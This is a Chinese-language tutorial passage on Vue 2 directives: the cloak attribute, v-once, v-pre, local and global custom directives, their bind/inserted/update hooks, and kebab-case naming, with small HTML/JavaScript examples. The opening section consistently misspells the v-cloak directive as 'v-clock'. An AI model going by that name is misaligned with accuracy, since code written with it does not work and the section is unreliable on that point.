v-clock的原理是:通过CSS属性选择器,将带有v-clock属性的元素设置为display: none,所以一开始页面中设置了v-clock属性的元素并不会展示在页面中。而Vue实例在接管Vue模板的一瞬间,会将模板中所有元素的v-clock属性给移除。当网速过慢时,浏览器不会直接将Vue模板的所有内容展示给用户,而是在浏览器成功请求到Vue之后,Vue实例将v-clock属性给移除,页面才正常展示。

v-clock指令并没有值,其本质是一个特殊属性:

  • Vue实例创建完毕并接管容器后,会删除模板中所有元素的v-clock属性。
  • v-clock配合CSS属性选择器使用可以解决网速过慢时页面直接展示出未经处理的Vue模板问题。

v-once

v-once用于让页面中的Vue数据始终显示为初始数据。v-once同样是没有值的特殊属性。

  • v-once所在节点在初次动态渲染后,就视为静态内容。
  • 后续数据的改变不会引起v-once所在结构的更新,可以用于优化性能。

示例:

<div id="app">
  <h2 v-once>Original Number: {{num}}</h2>
  <h2>Current Number: {{num}}</h2>
  <button @click="num++">Number+1</button>
</div>
<script type="text/javascript">
  new Vue({
    el: "#app",
    data: {
      num: 1,
    },
  });
</script>

v-pre

v-pre指令:

  • v-pre可以跳过其所在节点的编译过程。
  • 可利用v-pre跳过没有使用指令语法、没有使用插值语法的节点,可以加快页面的编译。
  • v-pre没有值,直接在Html元素中指定即可。

自定义指令

从指令的作用域来看,Vue中有两种指令:

  • 全局指令:可以在所有Vue实例中使用的指令。

    全局指令可以分成以下两种:

    • Vue内置指令。
    • 用户自定义全局指令。
  • 局部指令(用户自定义局部指令):仅能在当前Vue实例中使用的指令。

局部自定义指令

Vue.js 自定义指令可以通过在Vue实例中配置directives来定义局部指令。例如:

<div id="app">
  <h2>Current Number: <span v-text="num"></span></h2>
  <h2>10 Times Number: <span v-big="num"></span></h2>
  <input type="text" v-fbind:value="num">
  <button @click="num++">Number+1</button>
</div>
<script type="text/javascript">
  new Vue({
    el: "#app",
    data: {
      num: 66,
    },
    directives: {
      // 添加 v-big 指令(简写形式)
      big(element, binding) {
        console.log('The v-big was executed.');
        // console.log(element);
        // console.log(binding);
        element.innerText = binding.value * 10
      },
      // 配置对象写法
      fbind: {
        // 绑定成功时赋上 value 值
        bind(element, binding) {
          // console.log('v-fbind bound.');
          element.value = binding.value
        },
        // 指令所在元素被插入页面时调用
        inserted(element, binding) {
          // console.log('v-fbind inserted.');
          element.focus()
        },
        // 更新时给 value 赋值并获取焦点
        update(element, binding) {
          // console.log('v-fbind updated.');
          element.value = binding.value
          element.focus()
        },
      },
    }
  });
</script>

Vue中每条指令都必须以v-作为前缀(如上v-bigv-fbind)。但是在directives中定义指令时,不能加入v-前缀(如上v-big指令在directives中的定义是bigv-fbind指令在directives中的定义是fbind)。

指令配置的写法

指令的配置有两种写法:

  • 配置对象写法:

    command: {
      // 指令与元素成功绑定时(页面初始化时)调用
      bind(element, binding) {
        /* ... */
      },
      // 指令所在元素被插入页面时调用
      inserted(element, binding) {
        /* ... */
      },
      // 指令所在的模板被重新解析时调用
      update(element, binding) {
        /* ... */
      }
    }
    
  • 函数式写法(简写形式):

    command(element, binding) {
      /* ... */
    }
    

    指令函数被调用的时机:

    • 指令与元素成功绑定时(初始化时)。相当于bind()的调用时机。
    • 指令所在的模板被重新解析时。相当于update()的调用时机。

上例中的v-fbind必须使用配置对象写法的原因:

fbind(element, binding) {
  element.value = binding.value
  // 代码正确但执行时机(指令与元素绑定时并不会放入页面)有误
  element.focus() // 不能在此调用
}

v-fbind使用函数式写法时,上方代码只能在bindupdate时机调用,而element.focus()必须在document.body.appendChild()操作(插入到页面中)之后才能调用。演示代码如下:

<button id="btn">创建输入框</button>
<script type="text/javascript">
  const btn = document.getElementById('btn')
  btn.onclick = () => {
    const input = document.createElement('input')

    input.className = 'demo'
    input.value = 99
    /* 可以在 append 之前使用的操作... */


    document.body.appendChild(input)

    input.focus()
    input.parentElement.style.backgroundColor = 'skyblue'
    /* 必须在 append 之后使用的操作... */
  };
</script>

Vue指令的bind仅仅只是将指令和虚拟DOM进行绑定,而虚拟DOM插入到页面中是在inserted之后。所以对v-fbind使用简写形式来定义,会导致在初次进入页面之时没有获取输入框的焦点。

指令命名方式

由于Html对大小写不敏感(大写和小写等价)。所以在使用Vue指令时与编写Html一样,通常是使用小写(实际上,Vue获取到的指令名称也是小写形式)。所以遇到指令名称需要用多个单词来表示时,camelCase(驼峰式命名规则)显然不适用,通常是使用kebab-case(烤肉串式命名规则,使用-对名称进行分隔)。

例如,将v-big指令改为v-times-ten

<div id="app">
  <h2>Current Number: <span v-text="num"></span></h2>
  <h2>10 Times Number: <span v-times-ten="num"></span></h2>
  <button @click="num++">Number+1</button>
</div>
<script type="text/javascript">
  new Vue({
    el: "#app",
    data: {
      num: 66,
    },
    directives: {
      'times-ten'(element, binding) {
        console.log('The v-big was executed.');
        element.innerText = binding.value * 10
      },
    }
  });
</script>

全局自定义指令

全局自定义指令是指在Vue原型对象中,使用Vue.directive()方法来定义的指令。全局自定义指令也有两种与局部自定义指令相同的形式:

  • 对象配置写法:

    Vue.directive('command', {
      // 指令与元素成功绑定时(页面初始化时)调用
      bind(element, binding) {
        /* ... */
      },
      // 指令所在元素被插入页面时调用
      inserted(element, binding) {
        /* ... */
      },
      // 指令所在的模板被重新解析时调用
      update(element, binding) {
        /* ... */
      }
    })
    
  • 函数式写法(简写形式):

    Vue.directive('command', function (element, binding) {
      /* ... */
    })